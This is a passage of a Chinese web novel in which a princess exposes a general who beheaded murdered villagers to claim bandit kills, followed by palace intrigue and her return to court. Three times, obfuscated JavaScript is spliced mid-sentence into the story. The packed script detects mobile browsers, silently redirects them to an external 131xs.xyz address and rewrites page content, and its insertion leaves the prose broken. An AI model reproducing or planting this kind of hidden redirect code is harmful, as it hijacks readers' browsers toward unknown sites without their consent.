里面有几十具尸体,都是没有头的。 几个女护卫跳到坑里查看了,也没有找到头。 “公主,下面一个头都没有。” 萧柠皱眉:“怎么会这样呢……就算这些百姓的头全都被土匪砍了,官兵收殓尸体的时候,也应该把头捡回来,跟身体一起安葬。就算找不到全部的头,也应该找得到一部分……” 绿袖道:“公主,要不要上报京兆府?” 飞鹰道:“公主是来为国祈福的,突然把百姓的坟挖了,传扬开去不太好……要不,我们还是把这些尸体埋回去吧,就当什么都不知道。” 萧柠道:“等一下,我觉得事情没那么简单……先别埋回去,也别报官。” 鸾音突然说道:“公主,这个坟之前应该被人挖开过,尸体的头应该也是那时候被砍的,不是土匪砍的。” “你是说,这些百姓下葬的时候是有头的,后来才被人割了?” “对。公主还记得这一片本来是有野花的,但后来又没有了吗?” “嗯。” “其实,那些野花应该不是被人摘走的,因为路人不会摘得这么干净。 这些百姓被官兵下葬的时候,官兵们挖了一个大坑,路边的野花被毁掉了一部分。 后来这个坟又被人挖开,他们挖的范围更大,所以把剩下的野花也一并铲掉了。 他们偷偷把百姓的头给割掉之后,又把这个坟堆给填上去这些野花的根茎就被埋到土里了。 所以刚才郭南麟才能在土里挖到花的根茎。 而那些人偷偷割走百姓首级,肯定是在夜里进行,所以根本不会注意到路边的野花被毁掉了。” 86. 目击(修) 萧柠恍然大悟:“你说的有道理。但是偷偷割走百姓首级的人是谁呢?他们这么做有什么目的?” 护卫们都难以回答。 这时,萧柠想到了一个可能:“杀良冒功……” 军功有很多种统计方式,其中一种就是根据缴获的敌人首级来定。首级越多,得到的赏赐也就越多。 这次剿匪是靳衡将军剿的,所以偷偷把这些老百姓的首级割走的,应该也是他。 之前靳衡将军上报的是剿灭土匪100多人,交给兵部的首级也是100多个。实际上土匪可能只有几十个,剩下的首级全部来自被杀的村民。 他刚剿匪完毕的时候,在众目睽睽之下,不方便直接把村民的首级给割下,因此先将他们埋葬。 等过了几天,他再跟一群心腹趁夜过来,把坟墓挖开,把首级割走,再把坟墓恢复原样,神不知鬼不觉。 而郭南麟发现这里有花,应该是在坟墓第二次被挖开之前。后来他就没再来过,所以不知道有人把坟墓翻开,不小心把所有的野花都挖掉了。 听了萧柠的话,女护卫们都觉得很有道理,但同时又感到毛骨悚然。 有个女护卫问道:“所以,埋葬这些村民的是官兵,偷偷打开他们的坟墓、把他们的头割走的,也是官兵?” 萧柠点头道:“准确地说,埋葬这些村民的时候,应该有很多官兵在场,大家一起干的活。 不过深夜回来割走村民首级,应该是靳将军和几个心腹干的,不可能大张旗鼓,所以真正的知情人也不多。” “可是,他们不是应该在剿匪成功的时候就上交敌人首级吗?怎么能等好几天再上交呢?” “这就不知道了,也许靳将军想了什么理由,比如在剿匪之后声称士兵们受重伤了,需要修整,过几日再回京城。或者是军务繁忙,需要过几天再把土匪的首级上交给兵部。对他来说,找个理由应该是很容易的。” “公主,现在该怎么办?是把这件事上报给皇上呢,还是装作不知道?” 有个女护卫道:”我看,多一事不如少一事吧。靳家势大,我们得罪不起。” 还有个女护卫道:“公主是皇上的亲生女儿,把这件事报告给皇上应该没关系,靳家也不敢拿她怎么样, 只是公主是来祈福的,却节外生枝,管了这件事,似乎有点越俎代庖。 不知道会不会影响公主的名声?” 飞鹰道:“要我说,公主就应该把这件事捅出来,这可是扬名的大好机会。而且这些死去的村民太可怜了,他们被人割去首级,他们的头被当成土匪的头,实在是太冤枉了。公主应该给他们一个公道。” 萧柠想了想,道:“这件事不能遮掩,必须上报,不过不能由我来上报。守陵村的士兵首领是不是郑奇树郑将军?” “好像是的。” 郑奇树将军是武举出身,武功高强,屡立战功。 可惜他遭到靳衡将军的打压,被派到皇陵负责守陵,已经五年多了。 他多次上书请求上战场,但他的奏折是似乎从来没有到皇上跟前。 想来他一定是郁郁不得志的。而且他跟靳衡将军有过节,这件事让他来做再好不过了。 只要他敢把这件事捅到皇上面前去,就有翻身的机会。萧柠决定先跟他见一面,聊一聊。 必须趁着夜黑风高的时候把这件事谈好,天一亮,这里有行人,这件事就瞒不住了。 她们得赶在天亮之前把尸体埋回去,或者把尸体交给郑奇树将军。 这时,只见一个人影远远地走来。他看见萧柠她们,又立刻转头跑了。 萧柠小声吩咐鸾音:“去把他抓来,别让他出声。” 鸾音领命而去,很快她就把那个人抓来了,是一个矮胖的中年人。 那个中年人有些害怕地说:“你们是谁?抓我干什么?” 鸾音问道:“你是谁?为什么见了我们就跑?你先回答我,我们再回答你。” 那中年人见鸾音武功很高,不敢反抗,只得说道:“我是附近绿河村的村民,趁夜深人静时,来拜祭大石村的村民。你看,这是我带的祭拜用品。” 那个中年人手上拿着一个篮子,篮子里面果然是一些香烛、纸钱之类的物品。 接着他说道:“我本来以为这么晚了,这里不会有人的。结果我看见你们站在这里,吓了一跳,不想被人发现,所以我就跑了。谁知你们把我抓了过来。诶,等等,你们怎么把大石村的村民都给挖出来了?他们的头呢?” 萧柠道:“关于这件事,等一下再跟你解释。你跟大石村的村民是什么关系?为什么要在晚上来拜祭他们?白天来不行吗?” “我跟他们没什么关系,只是我亲眼看见了他们被杀的过程,觉得他们很可怜。所以,有时候我会偷偷来拜祭他们。” “你看见了他们被杀的过程?当时发生了什么?” 这中年人面色有些发白,似乎回忆起了一些可怕的事情。 他问道:“你们跟靳将军有没有关系?” “没有关系。” “我要是把实情说出来,你们不会把我交给靳将军处置吧?” “不会,放心吧。你说出实情,我还会给你银子。” 他哆哆嗦嗦地说道:“那是一个多月前了,我到山上砍柴,结果崴了脚,就坐在半山腰休息。我躲在树丛中间,也没人看见我。 从我坐的地方可以看见山脚的大石村。黄昏时分有一群土匪来到大石村,二话不说就对着那些村民一阵乱砍。 村民们有被砍死的,也有被砍伤的。,所有人都动弹不得。然后那群土匪抢了村民的财物就跑了。 结果没跑多远,就被一队官兵追上了。为首的是一个五大三粗的黑面将军,我听土匪都叫他靳将军。 靳将军率领手下的士兵跟土匪们打了好一会儿,最后土匪全都被杀死了。 靳将军命人找来几辆手推车,把所有土匪的尸体都装在手推车上面,让人推着往前走。 这时,有一些没死的村民还在哀嚎,有一些官兵就上前查看情况。 靳将军对那些官兵说道:‘你们先押着土匪的尸体离开,这里有本将军照管。’ 于是大部分士兵都离开 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16147029|180491||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了,只剩下靳将军和四五个士兵在这里。 谁知这时,他们却突然举起手中的刀剑,把那些没死的村民全都刺死了…… 我当时看见这一幕,吓得都不会动了。 然后我又听见靳将军对旁边的士兵说道:‘你们知道应该怎么说吧?’ 那四五个士兵都道:‘知道,这里的村民全都是被土匪杀死的。有一些村民没有当场死亡。,但因伤势过重,没法救治,最终也全都死了。将军对此非常哀痛。’ 晋将军点点头,说道:‘现在去挖个坑,把这些尸体都埋了。’ 那四五个士兵就在旁边的空地上挖了一个大坑,把所有的尸体都埋了进去,然后又运来一块墓碑,上面刻着‘大石村全体村民之墓’。 坟墓建好后,他们就走了。 我当时就觉得大石村的村民太可怜了,一部分被土匪杀死,一部分竟被官兵杀死。所以我会偷偷来祭拜他们,但是我又怕被靳将军的人发现,所以都是趁晚上过来。” 听了这中年人的话,萧柠等人无不骇然。 鸾音喃喃道:“没想到这晋将军这么残忍……” 绿袖问那中年人:“你说的可是真的?” “真的,这是小人亲眼所见,可惜没有证据……” 鸾音道:“不,有证据。” 萧柠有些惊喜:“鸾音,你能找到证据?” “是的,官兵所用的武器跟土匪的武器必然是不同的,所以在村民身上造成的伤口也是不同的。只要对村民进行验尸就可以知道哪些村民是被土匪杀死,哪些村民是被官兵杀死。 而靳将军所用的武器必然是特制的,所以他的武器造成的伤口也必然是独一份的。通过验伤,还能验出哪些村民是被靳将军所杀。 不过,验伤要尽快,因为这些尸体都快腐烂了。” 这中年人问道:“现在你们可以告诉我你们是谁了吗?你们都是女的,应该不是官府中人吧?” 鸾音指着萧柠道:“这位是大公主,我们都是她的护卫。” 这中年人吓得跪了下来,口中语无伦次地说道:“小人拜见大公主……请大公主不要怪罪小的……” 萧柠把他扶了起来,塞给他一锭银子,说道:“你不用紧张,你的话对我们帮助很大。这锭银子是给你的。如果有人把大石村村民的死亡真相告诉皇上,你可敢去皇上跟前作证?” “这……小的不敢。” “我会想办法隐藏你的身份,不让靳将军知道是你在指证他。如果你能指证他的话,我会再给你一锭银子。” “那……我的身份真的能瞒住?” “可以的。” “好吧,那小人就去……去作证。” “你叫什么名字?” “张芹,芹菜的芹。” 鸾音走到萧柠面前,说道:“公主,我刚才查看了这些尸体上的伤痕,大概有十人是被官兵杀死,还有三人是被靳将军的青锋剑所杀。” “好,你都能验出来,那兵部和京兆府必定也能验出来。你和绿袖带上郭南麟,去守陵村把郑奇树郑将军叫来。” 87. 替代(修) 带上郭南麟,是为了取信于郑将军。否则,要郑将军深夜跟两个女子出来,恐怕不太可能。 郭南麟手里还握着一些花的根茎,说道:“花没有了,只剩根了。” 萧柠安慰他道:“没关系,明天我们去别的地方摘花。” 鸾音笑道:“这孩子,这里都乱成一锅粥了,他竟然还只关心他那些花。” 萧柠道:“心智不全的孩子就是这样的,你们赶紧带他回守陵村吧。” 鸾音抱着孩子,跟绿袖一起施展轻功,往守陵村的方向飞去。 萧柠又叫来4个女护卫:“你们分别去前面和后面的路口守着,别让其他人过来。” “是。” 接着,萧柠就坐在墓碑旁边。她背对着那些无头尸体,不敢去看。 她还是头一次见到这种场面,一下子适应不了。 村民张芹小心翼翼地问道:“公主,那些尸体为什么没有头了?我记得当初下葬的时候,他们都是有头的。” “被靳将军偷偷割走,杀良冒功了。” “啊,这……原来是这样,怪不得当时他要把没死的村民都给杀了,原来是为了多得到几个首级啊……他该不会把我也杀了吧?” “不会,我不会让你的身份泄露的。” 萧柠说话有一种让人安心的力量,张芹渐渐的也就不再担心了。 过了一炷香时间,鸾音和绿袖飞了回来,她们身后还跟着一个魁梧的男子。 三人落地后,萧柠看清了这男子的模样。只见他昂藏九尺,英气勃勃,但眉眼比较温和。 他长着一张国字脸,脸上的肉比较饱满。嘴角微微一动,脸上就会出现酒窝。 他看起来脾气不错,只是眼中有一股郁郁之气,似乎有些意志消沉。 萧柠问道:“您是郑奇树郑将军?” “没错。您的护卫说您有机密大事相商,所以我就没有骑马,而是施展轻功过来了,并未被其他人发现。” 郑将军也注意到了这里的无头尸体,微微一愣。 萧柠把前因后果简单地说了,问道:“郑将军可有胆子揭发靳衡将军杀良冒功的行为?” 郑将军冷笑道:“我正愁抓不到他的把柄,有何不敢?” “那么,这里的无头尸体就当做是郑将军发现的,我和我的护卫们都没有来过。 至于您要如何向皇上揭发,如何找理由说明自己无意间发现尸体,就由您自己决定了。” 郑将军对萧柠拱手道:“郑某欠您一个人情,他日必会报答。” “郑将军客气了。对了,这个叫张芹的村民,曾经亲眼看见大石村村民被杀的过程。而且他还看见靳衡将军和手底下的亲兵把没有死的村民都给刺死。我把他留给你,应该对你有所帮助。” 郑将军温和的眉眼骤然发出怒火:“此话当真?他竟把没死之人刺死?” “没错,验这些尸体上的伤痕就可以知道了。” 郑将军握紧了拳头,道:“着实可恨!” “郑将军,马上就要天亮了,我们先告辞了。” “好,公主慢走。” 系统对萧柠说道:“萧柠,你查清了靳将军杀良冒功的真相,获得8000积分。现在的积分是16100。” “好的。” —————— 两天后,郑奇树将军写了一封密折,通过皇帝的贴身太监白公公暗中呈交给皇帝。 信上写自己骑马经过大石村的墓地,不小心踢开了一些泥土,发现里面有无头尸体。 他觉得奇怪,因此便继续往下挖,结果发现所有的尸体都是没有头的。 他怀疑这是靳衡将军所为,是为了杀良冒功,请皇帝彻查。 皇帝看了密折后,大为震怒,一边派人去取大石村村民的无头尸体,一边叫靳衡将军进宫问话。 靳衡将军花重金打听清楚皇帝为何叫他进宫,因此便派几名死士去大石村附近,想毁掉那些无头尸体。 谁知,郑奇树将军早已把这些尸体藏了起来,暗中运到了兵部。 兵部接到皇帝的命令,对这些无头尸体进行检验,发现其中有一部分果然是死于官兵的刀下,还有几具尸体是死在靳将军手上的。 再加上百姓张芹的证词,人证物证皆有。 兵部又把靳将军之前上交的头颅全部拿出来,跟这些无头尸体一一比对,发现大部分头颅都能严丝合缝地安装在村民的无头尸体上。 由此可知,靳将军所言的斩杀土匪一百多人,实则是虚报战功,有一多半的头颅都来自于无辜的百姓。 靳将军跪在宫门外请罪,靳贵妃听说此事,也赶紧来到御书房外,脱簪戴罪。 皇帝将靳将军贬为校尉,罚俸半年,让他在家静思己过。至于跟靳将军同谋之人,全部处死。大石村的村民,把头接上之后,全部厚葬。 靳衡犯的罪很重,本来斩首都是可以的。皇帝如此处理,已经是从宽了。 靳衡本来是左骁卫大将军,从三品。被贬之后,他的官职空了出来。皇帝让郑奇树将军补了这个缺,以奖励他检举有功。 左骁卫是天子亲卫,郑奇树将军不仅升了官,而且还待在重要的岗位上,前途无量。 至于守陵村那边的首领,由郑奇树身边的一个校尉担任。 —————— 揽月宫。 靳贵妃无心梳洗,披头散发地坐在梳妆台前。 二公主萧梦苒急匆匆地走了进来,问道:“母亲,我听说大舅舅他被贬官了,是真的吗?” “是真的,母妃已经苦苦哀求你父皇了。但是你父皇还是要惩治你大舅舅。” “好在不是什么严重的惩罚,只是将大舅舅贬为校尉。说不定过阵子他又能升官了。” “但愿如此吧。” “为什么父皇要为了区区几个百姓,惩罚大舅舅?” “你大舅舅违反了律法,这也没办法。” “大舅舅砍几个平民的脑袋,又算得了什么?” “本来是不算什么,但是这件事被人捅出来了。你父皇不得不给天下人一个交代。” “岂有此理!那个郑奇树将军,踩着大舅舅往上爬,简直其心可诛!” 靳贵妃冷笑一声,吩咐宫女:“来人,去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16147030|180491||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 把郑才人叫过来。” 很快,郑才人来了,战战兢兢地行完了礼站在一边。 郑才人是个清秀的美人,其眉眼跟郑奇树将军有几分相似。 靳贵妃冷冷地对她说道:“郑才人,你大哥真是好手段啊。” 郑才人赶紧跪下:“启禀娘娘,我大哥只是偶然发现那些无头尸体,想查个真相,并非是故意针对靳大人的……” 靳贵妃打了她一巴掌,骂道:“你还敢顶嘴?” 郑才人不敢说话,只能磕头。 靳贵妃不看她,也没有叫她停下的意思。 萧梦苒忽然伸出脚,踩在了郑才人的脖子上。这下,郑才人动弹不得。 但是,她不敢反抗,只能伏在地上。 萧梦苒踩得很用力,郑才人觉得很疼,但不敢吭声。 靳贵妃慢悠悠地说道:“本宫心疼你兄长打仗辛苦了所以才让他去守皇陵。可是他不知足,竟敢陷害本宫的兄长,还抢了他的职位,简直是胆大包天。他这做哥哥的不懂事,就让你来还吧。” 说着,她就把一杯热茶泼在了郑才人身上。郑才人的肩膀和背上立刻起了水泡,红.肿一片。 “哎呀,郑才人,你怎么这么不小心,竟然烫伤了。在你的疤痕消去之前,恐怕是不能侍寝了。你回去好好休息吧,本宫会先撤掉你的绿头牌。” 郑才人疼得发抖,但也只能说道:“是,多谢贵妃娘娘关心。” 靳贵妃母女终于把郑才人给放了,郑才人走出揽月宫之后,回头恨恨地看了一眼揽月宫的门口。 —————— 萧柠每天按部就班地祈福、读书,几个月后,她忽然觉得腰酸背痛,已经到了难以忍受的地步。 于是,每天祈福完毕后,她都要躺在床上休息很久才能起来。 女护卫们得知后,会隔三差五给她推拿。但是推拿只能缓解,不能根治。 鸾音对她说道:“公主,您需要锻炼。但是我们每天的练习非常艰苦,您不适合跟着我们一起练。您可以经常活动一下手脚,多走动一下。” “好。” 萧柠在草庐附近走动,但是觉得运动量不太够。 她坐在一棵大树后,见四下无人,便打开了夸夸群。 【萧柠:姐姐们,我觉得腰酸背痛,有什么缓解的锻炼方式吗?】 【有趣的灵魂一百多斤:有很多简单的锻炼方式,但是很难描述清楚,如果能传视频给你就好了。】 【只涨工资不长肉:对,网上到处都是锻炼的视频,我们可以找一些给你。】 【萧柠:什么是视频?】 【樱桃小完犊子:就是会动的图片,就像是有一个人在你面前活动一样,但那个人实际上离你很远。】 【回笼教教主:小柠,你问一下系统能不能传视频。】 【萧柠:好的。】 萧柠用意念问系统:“多宝,你在吗?” 系统瞬间就出来了:“我一直在。萧柠,你有什么事吗?” “夸夸群能传视频吗?” “现在不行,不过我看看能不能把夸夸群升级一下。” 88. 视频(修) 过了一会儿,系统说道:“夸夸群升级成功,现在是3.0版本,可以传视频。” 萧柠:“太好了。” “但是只能传健康的内容啊。” “放心,就是关于健康的,没有其他的。” 萧柠重新打开了夸夸群。 【萧柠:姐姐们,升级成功,可以发视频了。】 【只涨工资不涨肉:等一下,我找个简单方便的锻炼视频给你。】 过了一会,夸夸群里多了一个视频。 萧柠点开一看,见几个穿着白衣服白裤子的人在做一些锻炼的动作。 他们穿的衣服有点像中衣,但形制稍有不同,衣服上有好几个纽扣。 萧柠看了一遍,一共只有三个动作,比较简单,她马上就学会了。 【只涨工资不长肉:怎么样?这个学得会吗?】 【萧柠:学得会,不过你们那个时代的人都把中衣外穿吗?】 【只涨工资不涨肉:哈哈,这个不是中衣,是锻炼时穿的一种衣服。】 【樱桃小完犊子:我也给你发一个,兔子舞,我自己也在跳。】 群里多了一个视频,萧柠打开一看,是一个穿着紧身衣的姑娘在跳操。 动作有胯下击掌、原地踏步、手肘碰膝盖等等。 动作很简单,但是要跟着跳下来并不容易。 萧柠跟练了三遍,才勉强把动作做标准。不过,这么跳下来,心情很好,身体也不那么酸痛了。 【樱桃小完犊子:小柠,你先练这两个视频吧,等过几天我们再发新的视频给你。】 【萧柠:谢谢姐姐们,不过太麻烦的话就算了。】 【樱桃小完犊子:一点也不麻烦,我们要找视频可容易了。】 【回笼教教主:只不过收藏从未停止,锻炼从未开始。】 【有趣的灵魂一百多斤:我怀疑你在我家安装了监控。】 【你已被群主移出群聊:@回笼教教主删了吧,我有个朋友破防了。】 【回笼觉教主:哈哈】 【活人微死:小柠,记得不要坐太久。】 【萧柠:好的,我以后可以躺着看书。】 【你已被群主移出群聊:真羡慕,我也想躺着上班。】 【感觉尸体暖暖的:真羡慕,我想不上班。】 【活人微死:醒醒,那是不可能的。】 接下来的几天,萧柠有空就练这两个视频里的动作。 几天后,夸夸群里的人又给她找来了另外两个视频,萧柠学了一些新动作。 一段时间后,萧柠已经学会了非常多的动作,堪称锻炼领域的专家。 这天,她进夸夸群闲聊。 【有趣的灵魂一百多斤:小柠最近还有腰酸背痛吗?】 【萧柠:我已经大大缓解了,多谢姐姐们传的视频。继续练下去,应该不会再痛了。】 【有趣的灵魂一百多斤:太棒了!我把视频往群里一丢,我自己都没看,哈哈哈】 【樱桃小丸犊子:我也没怎么看。】 【感觉尸体暖暖的:该不会只有小柠一个人看了,并且跟练吧?】 【你被群主移出群聊:这不是明摆着的事吗?哈哈哈哈哈哈。】 【回笼教教主:你们这些懒人,懒到家了。】 【只涨工资不涨肉:难道你不懒吗?】 【回笼教教主:我也懒。】 【只涨工资不涨肉:看见小柠这么努力,你们惭愧吗?】 【你已被群主移出群聊:不惭愧。】 【樱桃小完犊子:不惭愧。】 【活人微死:不惭愧。】 【感觉尸体暖暖的:小柠真厉害,我服了。】 【萧柠:姐姐们要是不锻炼的话,不会腰酸背痛吗?】 【感觉尸体暖暖的:会,但我们贴膏药。】 【你已被群主移出群聊:我们请病假。】 【活人微死:我们做针灸。】 【只涨工资不涨肉:我们去推拿,哈哈哈。】 【萧柠:姐姐们,像我一样坚持下去!】 【活人微死:坚持不了一点,我现在全靠一口仙气撑着。】 【感觉尸体暖暖的:我还没死是对这个世界最大的尊重。】 【你已被群主移出群聊:哈哈哈,我们喜欢三天打鱼两天晒网。】 【樱桃小完犊子:柠儿,答应我,身为虐文女主,你只能吃锻炼的苦,不能吃爱情的苦。】 【萧柠:哈哈哈,好的。】 —————— 时光飞逝,一转眼便是三年。 萧柠回京之前,打开了夸夸群。 【萧柠:三年之期已到。】 【樱桃小完犊子:欢迎龙王回归!】 【活人微死:欢迎龙王回归!】 【有趣的灵魂一百多斤:欢迎龙王回归!】 【你被群主移出群聊:欢迎龙王回归!】 【萧柠:哈哈哈】 这三年来,群里的人上传了一些短剧,所以萧柠也知道龙王的梗。 现在,她和夸夸群里的人代沟越来越小了。 萧柠的汤沐邑在栾伊城,这三年来。栾伊城百姓的税收都归萧柠。 萧柠每年都只收一半的赋税,剩下的一半让百姓们留着。 系统给萧柠结算了6万积分,现在的积分是76100。 萧柠带着一群女护卫,还有郭南麟和向氏母子,一起回了京城。 三年过去,郭南麟长高了一些,只是神色还是一派天真。 听说要去京城玩,郭南麟十分兴奋,一路上都在东张西望。 他看见路边的小摊子,就想抢人家的东西。两个女护卫和向氏一起按住他,才没让他闹出乱子来。 萧柠问向氏:“南麟现在还是不懂买东西要先付钱吗?” 向氏有些为难:“他不懂这个。公主,我觉得他太能惹事了,会不会给您添麻烦?” “没关系,把他当成四五岁小孩儿就好了。他若是要出门,我都派个护卫跟你们一起,这样就能拦住他捣乱了。” 萧柠让人买了一些玩具和食物给郭南麟,郭南麟把这些东西拿在手上,开心得不得了,露出了孩童般的笑容。 他手上有了东西,暂时就不会被其他东西所吸引,也就不会去别人的摊子上捣乱了。 抵达京城之后,萧柠让向氏和郭南麟先去了公主府,她自己带着女护卫们进了宫。 由于萧柠是祈福归来,皇帝和文武百官们夹道相迎,排场很大。 萧柠有些高兴,走过了长长的宫道,来到皇帝身边。 皇帝仔细看了看萧柠,有些心疼地说道:“柠儿,这些年你瘦了不少。” 萧柠笑道:“不要紧,可能是因为吃得比较简单的缘故。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16147031|180491||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “你回来之后,可要多吃点东西。” “好的,父皇。对了,女儿有一个请求。” “你说吧。” “女儿想参加明年的会试。” “就这么点请求?没问题。” 萧柠现在是国家的功臣,她的要求只要不太过分,皇帝应该都会同意的。 见皇帝一口答应,萧柠心中十分开心,觉得自己这三年的努力没有白费。 三年祈福看似耽误了时间,但也让她有了更多的资本。 萧柠看了一圈,没看见二皇子和三皇子,便问道:“父皇,二皇弟和三皇弟去哪里了?” “朕把他们派到外地做县令去了,下次再见吧。” “好。” 萧柠看见大皇子在场,而且他更意气风发了,并知道皇帝愈发偏心了。 大儿子留在京城做官,二儿子和三儿子被派到外地做县令这种小官,皇帝的心思很明显。 看来,皇帝迟早会立大皇子为太子。如果真到了那一天,对萧柠是非常不利的。 萧柠必须为自己早做打算。 皇帝问道:”柠儿,除了要参加会试之外,你还有什么想要的?不论是土地、田宅还是金银珠宝,朕都答应你。” 萧柠道:“儿臣暂时没什么想要的,多谢父皇。” 萧柠觉得,皇帝的奖赏要花在刀刃上。她现在不要这些身外之物,等将来考中进士,向皇帝求官,皇帝可能会答应。 否则,现在要了东西,将来就不好再要了。 晚上,皇帝设宴含德殿,为萧柠接风洗尘。 二公主萧梦苒抱着一个孩子出席。那个孩子大概七八个月大,应该是她和裴靖的儿子。 她有些得意地看向萧柠,萧柠只是微笑以对。 过了一会儿,她对萧柠说道:“大皇姐,你看我这儿子,长得跟裴靖像不像?” 萧柠看了一眼孩子,礼貌微笑:“长得挺像的,恭喜二皇妹。” “哎,自从生了孩子之后,我可是老了好几岁。不像大皇姐,无夫无子,乐得清闲,一直这么年轻。” “谢谢你的夸奖,我用的是自制的护肤品。如果你有需要的话,我把护肤品的方子给你。” 二公主本想炫耀一下,见萧柠不接茬,有些生气,但又不好发作,便有些咬牙切齿地说:“多谢大皇姐。只是我用的一直是裴靖特意给我买的上好的胭脂水粉,就不劳大皇姐费心了。” “二妹妹夫妻和睦,真是太好了。” 二公主扶了扶鬓发:“其实,裴靖不光会给我买胭脂水粉,还经常给我买衣服首饰。我都跟他说,我的衣服首饰太多了,让他不要再买了,可他不听。” “二妹妹有很多衣服首饰,真是太好了。” 二公主:“……” 过了一会儿,二公主又说道:“现在裴靖每天一回家。,去看孩子,抱着不肯撒手,我跟他说,他公务繁忙,需要休息一下,他都不肯。唉,果然是父子连心啊。” 萧柠:“裴侯爷懂得抱孩子,真是太好了。” 萧梦苒:“……” 萧梦苒不知道该说什么。萧柠的话并不失礼,但听着总是怪怪的,让她很不爽。 于是,她只能不跟萧柠说话。 一切都跟她想的不一样,她本以为萧柠会嫉妒她,但好像没有。 萧梦苒觉得,萧柠真是太能装了。 89. 炫耀(修) 过了一会,尚书令起身给萧柠敬酒:“大公主为国祈福三年,劳苦功高,下官敬您一杯。” 萧柠笑着捧起酒杯,道:“大人客气了。” 接着,其他大臣也纷纷举杯向萧柠敬酒,口中对她称赞不已。 萧梦苒想插话,却发现自己挤不进这样的场合。 她只能坐在一边生闷气。 每次皇帝给萧柠夹菜或是跟萧柠说话的时候,二公主便抢着说道:“父皇,孩子在看您呢。” 皇帝便转身对二公主的孩子说话。虽然那孩子什么都不懂,但皇帝只要一看见他,就十分高兴。 但是,二公主费尽心思,也只能吸引皇帝片刻的注意力。 因为,席上有太多人、太多事需要皇帝去照管。 而萧柠却能帮着皇帝分担。 有些场面话,皇帝能说,萧柠也能说。但萧梦苒不适合说,而且她也没有这样的口才。 等席间的大臣都对萧柠敬完酒后,萧柠空了下来,继续吃饭。 萧梦苒又趁机对萧柠说道:“大皇姐,说起来,我们俩长得相似,如果当初嫁给裴靖的是你,说不定也能像我这般夫妻恩爱,有一个可爱的孩子。” 萧柠淡淡一笑:“我没这个福气。” 然而,萧柠虽然这么说,脸上却完全没有遗憾的神色,只有满不在乎的神情。 萧梦苒不知道萧柠心里是怎么想的,她总觉得萧柠也没那么羡慕自己的婚姻。 她不知道为什么,难道真的是萧柠城府太深了,喜怒不形于色? —————— 宴席结束后,萧柠回到温妃宫中,跟温妃叙旧。 温妃见了萧柠,也很是激动,拉着她问长问短的,比皇帝还关心她。 萧柠笑道:“多谢温妃娘娘关心,我一切都好。” “说来也是凑巧,这几个月一直风调雨顺的,百姓们都说是大公主的功劳。” “那可太好了。” “这些年,你父皇一直念叨着要给你找一个好驸马。有好些个优秀的年轻人,你父皇都不许他们娶妻呢。” “还是让他们各自成亲去吧,我对他们没兴趣。父皇已经答应让我参加明年的会试了。” 温妃眼前一亮:“会试?公主准备好了?” “是的,我这三年读书从未懈怠。” “公主是我见过的最勤奋的女孩,你一定会成功的。” “多谢温妃妃娘娘。对了,您知不知道二皇子和三皇子去哪里做县令了?” “二皇子当了焦县县令,三皇子当了武县县令,已经有两年了。” “这两个县都很偏远啊……” “是啊,他们想回京一趟只怕不容易。” 萧柠觉得,皇帝应该是故意的。他不希望有成年的皇子在京,跟大皇子相争。 萧柠问道:“那大皇子如今的职位呢?” “大皇子现在是吏部郎中。” 吏部郎中是五品官,而且非常重要,并非是二皇子、三皇子的职位可比。 萧柠现在对京中形势大致有数了。 温妃问道:“大公主问这些做什么?” “哦,没什么,只是随便问问。” —————— 二公主萧梦苒带着孩子来到揽月宫。 靳贵妃逗了逗孩子,问道:“最近你跟裴靖怎么样?” “不怎么样,他对我越来越不耐烦了。就算有了孩子,我们的感情也没有变好。有时候我叫他抱一下孩子,他总是说自己太累了,需要休息。母妃,你说他是不是外面有人了?” “不会的,他就是单纯的不喜欢你。” “母妃,您怎么能这样说呢?” “母妃说的是实话。你想啊,自从成亲以来,你对他有过好脸色吗?每天都大呼小叫的,把他当小厮一般,他能喜欢你才怪了。你要想跟他培养感情,就得温柔一些,多体谅他一点。” “我没必要那样做,我可是公主。他要敢对我不敬,我就让父皇杀了他。” “你要只想逞公主的威风,就按你的心意来。你要是想夫妻恩爱,就照母妃说的做。你想要的到底是什么?” “我觉得裴靖应该主动跟我搞好关系,不管我怎么对他,他都应该像伺候主子那样伺候我才对。我是公主,他只是臣子。” “如果这样的话,你只能得到主仆一般的关系。” “凭什么,他应该主动对我好才对。” “夫妻之间都是相互的。你在母妃身边长大,怎么连母妃的一点手段都没学到?你什么时候见母妃跟父皇红过脸?” “那不一样,母妃是后宫妃嫔,地位比父皇低。可我是公主,我的身份比裴靖高多了。” “你生来就是公主,但这个身份只能获得别人的畏惧。如果你想获得男人的爱,这其中的门道可就多了。如果你想学,母妃可以教你。” “我不学,为什么不让裴靖来学呢?” 靳贵妃笑着摇了摇头,终止了这个话题。 